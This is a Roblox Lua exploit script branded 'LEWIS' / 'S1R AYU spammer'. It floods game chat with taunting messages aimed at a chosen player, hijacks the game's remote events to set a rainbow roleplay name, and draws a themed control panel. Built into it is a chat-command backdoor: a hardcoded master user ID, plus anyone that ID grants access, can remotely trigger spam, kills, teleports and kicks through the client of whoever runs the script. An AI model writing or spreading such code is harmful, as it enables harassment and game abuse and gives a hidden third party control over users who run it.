--[[ WARNING: MODIFIED: Rebranded to LEWIS, Devil Vibe UI, Cinematic Intro, Custom Input Fields. ADMIN: Comprehensive Authorized Chat Commands Suite with Hardcoded Master ID. ]] local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local RunService = game:GetService("RunService") local TweenService = game:GetService("TweenService") local CoreGui = game:GetService("CoreGui") local RS = game:GetService("ReplicatedStorage") local player = Players.LocalPlayer or Players.PlayerAdded:Wait() -------------------------------------------------- -- SETTINGS & VARIABLES -------------------------------------------------- local saying = false local targetName = "TMX" local delayTime = 1 local pattern = "_" local Prefix = "!" -- MASTER ID SYSTEM (HARDCODED PROFILE ID) local MasterID = 11057753094 -- Your explicit Roblox Account UserID -- Permissions System Table local authorizedUsers = { [MasterID] = true -- The Master ID always has absolute authority } -------------------------------------------------- -- RO MESSAGE LIST (REBRANDED TO LEWIS) -------------------------------------------------- local roMessages = { "TMX MEH FIRE 🔥","FYTER BNEGA?🤣","BCHE LEWIS ON TOP👑","TMX MEH Rocket 🚀", "TMX MEH electricity ⚡","TMX meh SURF 😆","Leave marde 🤣","LEWIS ON TOP BOL 🔥", "TMX MEH BOOK 📚","Pil gya itni jaldi 🤣","Itna lallu fyter🤧","Cvr bye LEWIS👑", "Tmx meh petroleum","Dffn?😔","Bhag ja bache😹","Tmx meh dino 😈", "TMX MEH MAJDOOR","TMX MEH SCRIPT","TMX MEH TREE🌴","TMX MEH CLIP", "Tmx Allu🥔","TMX MEH GOAT","TMX MEH BLAZE","TMX MEH SALT", "Leaked by unknown :3 find it yourself", "TMX MEH ROD","TMX MEH UNIVERSE","TMX MEH SOFA", "TMX MEH KEYBOARD","TMX MEH SNIPER","LEWIS ON TOP👑", "TMX MEH MONITOR","TMX MEH TABLE","TMX MEH GALAXLY", "TMX MEH MUSHROOM","TMX MEH STONE","TMX MEH BOT", "TMX MEH TAB","TMX MEH CYLINDER","TMX MEH KING", "TMX MEH VOID","TMX MEH REAPER","TMX MEH GOD", "TMX MEH MASTER","TMX MEH NOVA","TMX MEH BEAST", "TMX MEH LEGEND","TMX MEH GHOST","TMX MEH NINJA", "TMX MEH STAR","TMX MEH MOON","TMX MEH NEON", "TMX MEH OMEGA","TMX MEH STICK","TMX MEH PAPER", "TMX MEH STYLE","TMX MEH ALPHA","TMX MEH FISH" } -------------------------------------------------- -- UTILITY FUNCTIONS & CHAT ROUTER -------------------------------------------------- local function SecureSend(message) pcall(function() if TextChatService and TextChatService.TextChannels and TextChatService.TextChannels:FindFirstChild("RBXGeneral") then TextChatService.TextChannels.RBXGeneral:SendAsync(message) end pcall(function() local defaultChannel = RS:FindFirstChild("DefaultChatSystemChatEvents") if defaultChannel and defaultChannel:FindFirstChild("SayMessageRequest") then defaultChannel.SayMessageRequest:FireServer(message, "All") end end) end) end local function FindPlayerPartial(name) if not name or name == "" then return nil end name = string.lower(name) for _, p in ipairs(Players:GetPlayers()) do if string.sub(string.lower(p.Name), 1, #name) == name or string.sub(string.lower(p.DisplayName), 1, #name) == name then return p end end return nil end -------------------------------------------------- -- AUTOMATIC STARTUP ANNOUNCEMENT EXECUTION -------------------------------------------------- task.spawn(function() task.wait(1) SecureSend(" @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@「S1R AYU SPAMMER ON TOP 👑 ~」") end) -------------------------------------------------- -- ADVANCED RAINBOW RP NAME SYSTEM (DYNAMIC AUTO-FIND) -------------------------------------------------- task.spawn(function() local NameEvent = nil local ColorEvent = nil -- Scan ReplicatedStorage thoroughly for the events, checking descendants too local function scanForEvents() for _, v in ipairs(RS:GetDescendants()) do if v:IsA("RemoteEvent") then local lowerName = string.lower(v.Name) -- Match specific custom format or fallback standard keywords if v.Name == "1RPNam1eTex1t" or string.find(lowerName, "rpname") or string.find(lowerName, "nametext") then NameEvent = v elseif v.Name == "1RPNam1eColo1r" or string.find(lowerName, "rpcolor") or string.find(lowerName, "namecolor") then ColorEvent = v end end end end -- Initial scan and loop to wait for them if the game loads slowly for i = 1, 20 do scanForEvents() if NameEvent and ColorEvent then break end task.wait(0.5) end if not NameEvent then warn("[LEWIS]: Could not find RP Name RemoteEvent in ReplicatedStorage.") end local function UpdateRP() if NameEvent then pcall(function() -- Trying both standard formats just in case NameEvent:FireServer("RolePlayName", "ꜱ1ʀ ᴀʏᴜ 👑ꜱᴘᴀᴍᴍᴇʀ V2") NameEvent:FireServer("RolePlayBio", "Welcome dear " .. (player.DisplayName or player.Name)) -- Fallback call format if the remote handles arguments differently NameEvent:FireServer("ꜱ1ʀ ᴀʏᴜ 👑ꜱᴘᴀᴍᴍᴇʀ V2") end) end end if player.Character then UpdateRP() end player.CharacterAdded:Connect(UpdateRP) if ColorEvent then local hue = 0 while true do local c = Color3.fromHSV(hue, 1, 1) pcall(function() ColorEvent:FireServer("PickingRPNameColor", c) ColorEvent:FireServer("PickingRPBioColor", c) -- Fallback straight color data mapping ColorEvent:FireServer(c) end) hue = (hue + 0.01) % 1 task.wait(0.1) end end end) -------------------------------------------------- -- GENERATE LINE -------------------------------------------------- local function generateLine() local result = "" while #result < 150 do result = result .. pattern end return string.sub(result, 1, 150) end -------------------------------------------------- -- CORE EXECUTION CONTROLS -------------------------------------------------- local function startROSpam() if saying then return end saying = true task.spawn(function() while saying do local msgText = roMessages[math.random(1, #roMessages)] local msg = generateLine().."\n"..targetName.."\n"..msgText SecureSend(msg) task.wait(delayTime) end end) end local function stopSpam() saying = false end -------------------------------------------------- -- GUI CREATION (DEVIL VIBE) -------------------------------------------------- local gui = Instance.new("ScreenGui") gui.Name = "DevilLewis" gui.ResetOnSpawn = false gui.IgnoreGuiInset = true local success = pcall(function() gui.Parent = CoreGui end) if not success then gui.Parent = player:WaitForChild("PlayerGui") end -- CINEMATIC INTRO local introFrame = Instance.new("Frame", gui) introFrame.Size = UDim2.new(1, 0, 1, 0) introFrame.BackgroundColor3 = Color3.fromRGB(5, 0, 0) introFrame.BorderSizePixel = 0 introFrame.ZIndex = 100 local introText = Instance.new("TextLabel", introFrame) introText.Size = UDim2.new(1, 0, 1, 0) introText.BackgroundTransparency = 1 introText.Text = "S1R AYU SPAMMER ON TOP👑~ V2" introText.Font = Enum.Font.Creepster introText.TextSize = 45 introText.TextColor3 = Color3.fromRGB(180, 0, 0) introText.TextTransparency = 1 introText.ZIndex = 101 -- MAIN SQUARE PANEL local mainFrame = Instance.new("Frame", gui) mainFrame.Size = UDim2.new(0, 0, 0, 0) mainFrame.Position = UDim2.new(0.5, 0, 0.5, 0) mainFrame.AnchorPoint = Vector2.new(0.5, 0.5) mainFrame.BackgroundColor3 = Color3.fromRGB(15, 12, 12) mainFrame.BorderSizePixel = 0 mainFrame.Visible = false mainFrame.ClipsDescendants = true mainFrame.Active = true mainFrame.Draggable = true local mainCorner = Instance.new("UICorner", mainFrame) mainCorner.CornerRadius = UDim.new(0, 12) local mainStroke = Instance.new("UIStroke", mainFrame) mainStroke.Color = Color3.fromRGB(150, 0, 0) mainStroke.Thickness = 2 mainStroke.Transparency = 0.2 local titleText = Instance.new("TextLabel", mainFrame) titleText.Size = UDim2.new(1, 0, 0, 40) titleText.BackgroundTransparency = 1 titleText.Text = "S1R AYU V2" titleText.Font = Enum.Font.GothamBlack titleText.TextSize = 20 titleText.TextColor3 = Color3.fromRGB(200, 20, 20) local layout = Instance.new("UIListLayout", mainFrame) layout.SortOrder = Enum.SortOrder.LayoutOrder layout.Padding = UDim.new(0, 8) layout.HorizontalAlignment = Enum.HorizontalAlignment.Center local function createInput(placeholder, text, order) local container = Instance.new("Frame", mainFrame) container.Size = UDim2.new(0.9, 0, 0, 32) container.BackgroundColor3 = Color3.fromRGB(25, 20, 20) container.LayoutOrder = order local corner = Instance.new("UICorner", container) corner.CornerRadius = UDim.new(0, 6) local stroke = Instance.new("UIStroke", container) stroke.Color = Color3.fromRGB(80, 10, 10) stroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border local input = Instance.new("TextBox", container) input.Size = UDim2.new(1, -20, 1, 0) input.Position = UDim2.new(0, 10, 0, 0) input.BackgroundTransparency = 1 input.Text = text input.PlaceholderText = placeholder input.Font = Enum.Font.GothamSemibold input.TextSize = 13 input.TextColor3 = Color3.fromRGB(220, 220, 220) input.PlaceholderColor3 = Color3.fromRGB(100, 100, 100) input.TextXAlignment = Enum.TextXAlignment.Left container.MouseEnter:Connect(function() TweenService:Create(stroke, TweenInfo.new(0.3), {Color = Color3.fromRGB(180, 0, 0)}):Play() end) container.MouseLeave:Connect(function() TweenService:Create(stroke, TweenInfo.new(0.3), {Color = Color3.fromRGB(80, 10, 10)}):Play() end) return input end local function createButton(text, color, order) local btn = Instance.new("TextButton", mainFrame) btn.Size = UDim2.new(0.9, 0, 0, 36) btn.BackgroundColor3 = color btn.Text = text btn.Font = Enum.Font.GothamBold btn.TextSize = 14 btn.TextColor3 = Color3.fromRGB(255, 255, 255) btn.LayoutOrder = order btn.AutoButtonColor = false local corner = Instance.new("UICorner", btn) corner.CornerRadius = UDim.new(0, 6) local darkenColor = Color3.new(color.R * 0.7, color.G * 0.7, color.B * 0.7) local lightenColor = Color3.new(math.min(color.R * 1.2, 1), math.min(color.G * 1.2, 1), math.min(color.B * 1.2, 1)) btn.MouseEnter:Connect(function() TweenService:Create(btn, TweenInfo.new(0.2), {BackgroundColor3 = lightenColor}):Play() end) btn.MouseLeave:Connect(function() TweenService:Create(btn, TweenInfo.new(0.2), {BackgroundColor3 = color}):Play() end) btn.MouseButton1Down:Connect(function() TweenService:Create(btn, TweenInfo.new(0.1), {BackgroundColor3 = darkenColor}):Play() end) btn.MouseButton1Up:Connect(function() TweenService:Create(btn, TweenInfo.new(0.1), {BackgroundColor3 = lightenColor}):Play() end) return btn end local titleSpacer = Instance.new("Frame", mainFrame) titleSpacer.Size = UDim2.new(1, 0, 0, 42) titleSpacer.BackgroundTransparency = 1 titleSpacer.LayoutOrder = 0 -- Inputs local targetInput = createInput("Target Name (e.g. TMX)", targetName, 1) local delayInput = createInput("Delay (e.g. 1)", tostring(delayTime), 2) local patternInput = createInput("Pattern (e.g. _)", pattern, 3) -- Buttons local startBtn = createButton("START SPAM", Color3.fromRGB(150, 15, 15), 4) local stopBtn = createButton("STOP SPAMMER", Color3.fromRGB(35, 35, 35), 5) -- TOGGLE MENU ICON BUTTON local toggleBtn = Instance.new("TextButton", gui) toggleBtn.Size = UDim2.new(0, 45, 0, 45) toggleBtn.Position = UDim2.new(0, 20, 0.5, -22) toggleBtn.BackgroundColor3 = Color3.fromRGB(15, 12, 12) toggleBtn.Text = "😈" toggleBtn.TextSize = 25 toggleBtn.BorderSizePixel = 0 toggleBtn.Visible = false toggleBtn.Draggable = true local toggleCorner = Instance.new("UICorner", toggleBtn) toggleCorner.CornerRadius = UDim.new(0, 8) local toggleStroke = Instance.new("UIStroke", toggleBtn) toggleStroke.Color = Color3.fromRGB(150, 0, 0) toggleStroke.Thickness = 2 -------------------------------------------------- -- SYSTEM DESTRUCTION FUNCTION -------------------------------------------------- local function initiateExit() stopSpam() if gui then gui:Destroy() end end -------------------------------------------------- -- FUNCTIONALITY UI BINDINGS -------------------------------------------------- targetInput.FocusLost:Connect(function() if targetInput.Text ~= "" then targetName = targetInput.Text end end) delayInput.FocusLost:Connect(function() local num = tonumber(delayInput.Text) if num then delayTime = num else delayInput.Text = tostring(delayTime) end end) patternInput.FocusLost:Connect(function() if patternInput.Text ~= "" then pattern = patternInput.Text end end) startBtn.MouseButton1Click:Connect(startROSpam) stopBtn.MouseButton1Click:Connect(stopSpam) local menuOpen = true toggleBtn.MouseButton1Click:Connect(function() menuOpen = not menuOpen if menuOpen then mainFrame.Visible = true TweenService:Create(mainFrame, TweenInfo.new(0.4, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = UDim2.new(0, 280, 0, 290)}):Play() else local closeTween = TweenService:Create(mainFrame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.In), {Size = UDim2.new(0, 0, 0, 0)}) closeTween:Play() closeTween.Completed:Wait() mainFrame.Visible = false end end) -------------------------------------------------- -- GLOBAL CHAT ADMIN SYSTEM -------------------------------------------------- local function ProcessAdminCommand(speaker, msg) if not authorizedUsers[speaker.UserId] then return end local splitArgs = string.split(msg, " ") local command = splitArgs[1] if not command or string.sub(command, 1, 1) ~= Prefix then return end command = string.lower(string.sub(command, 2)) -- !start if command == "start" then startROSpam() print("[LEWIS]: System starting via chat invocation.") -- !stop elseif command == "stop" then stopSpam() print("[LEWIS]: Spammer stopped via chat invocation.") -- !exit elseif command == "exit" then initiateExit() -- !text elseif command == "text" then local newTarget = splitArgs[2] if newTarget and newTarget ~= "" then targetName = newTarget targetInput.Text = newTarget print("[LEWIS]: Target modified globally to: " .. targetName) end -- !speed elseif command == "speed" or command == "ws" then local value = tonumber(splitArgs[2]) if value and player.Character then local hum = player.Character:FindFirstChildOfClass("Humanoid") if hum then hum.WalkSpeed = value end end -- !freset elseif command == "freset" or command == "kill" then local targetPlayer = FindPlayerPartial(splitArgs[2]) if targetPlayer and targetPlayer.Character then targetPlayer.Character:BreakJoints() end -- !tp elseif command == "tp" then local targetPlayer = FindPlayerPartial(splitArgs[2]) if targetPlayer and targetPlayer.Character and player.Character then local myRoot = player.Character:FindFirstChild("HumanoidRootPart") local targetRoot = targetPlayer.Character:FindFirstChild("HumanoidRootPart") if myRoot and targetRoot then myRoot.CFrame = targetRoot.CFrame * CFrame.new(0, 0, 3) end end -- !tpto elseif command == "tpto" or command == "bring" then local targetPlayer = FindPlayerPartial(splitArgs[2]) if targetPlayer and targetPlayer.Character and player.Character then local myRoot = player.Character:FindFirstChild("HumanoidRootPart") local targetRoot = targetPlayer.Character:FindFirstChild("HumanoidRootPart") if myRoot and targetRoot then targetRoot.CFrame = myRoot.CFrame * CFrame.new(0, 0, -3) end end -- !kick elseif command == "kick" then local targetPlayer = FindPlayerPartial(splitArgs[2]) if targetPlayer then pcall(function() targetPlayer:Kick("MEOW LADLE MJE AYE👹 .") end) end -- !cmd elseif command == "cmd" then local targetPlayer = FindPlayerPartial(splitArgs[2]) if targetPlayer then authorizedUsers[targetPlayer.UserId] = true print("[LEWIS]: Access permissions granted to: " .. targetPlayer.Name) end -- !uncmd elseif command == "uncmd" then local targetPlayer = FindPlayerPartial(splitArgs[2]) if targetPlayer and targetPlayer.UserId ~= MasterID then authorizedUsers[targetPlayer.UserId] = nil print("[S1R]: Access permissions revoked from: " .. targetPlayer.Name) end end end -- Connect listeners player.Chatted:Connect(function(msg) ProcessAdminCommand(player, msg) end) Players.PlayerAdded:Connect(function(newSpeaker) newSpeaker.Chatted:Connect(function(msg) ProcessAdminCommand(newSpeaker, msg) end) end) for _, existingPlayer in ipairs(Players:GetPlayers()) do if existingPlayer ~= player then existingPlayer.Chatted:Connect(function(msg) ProcessAdminCommand(existingPlayer, msg) end) end end -------------------------------------------------- -- PLAY CINEMATIC INTRO -------------------------------------------------- task.spawn(function() local tweenIn = TweenService:Create(introText, TweenInfo.new(2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), {TextTransparency = 0}) tweenIn:Play() tweenIn.Completed:Wait() task.wait(1.5) TweenService:Create(introText, TweenInfo.new(1.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {TextTransparency = 1}):Play() local bgOut = TweenService:Create(introFrame, TweenInfo.new(1.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In), {BackgroundTransparency = 1}) bgOut:Play() bgOut.Completed:Wait() introFrame:Destroy() toggleBtn.Visible = true mainFrame.Visible = true TweenService:Create(mainFrame, TweenInfo.new(0.6, Enum.EasingStyle.Elastic, Enum.EasingDirection.Out), {Size = UDim2.new(0, 280, 0, 290)}):Play() end)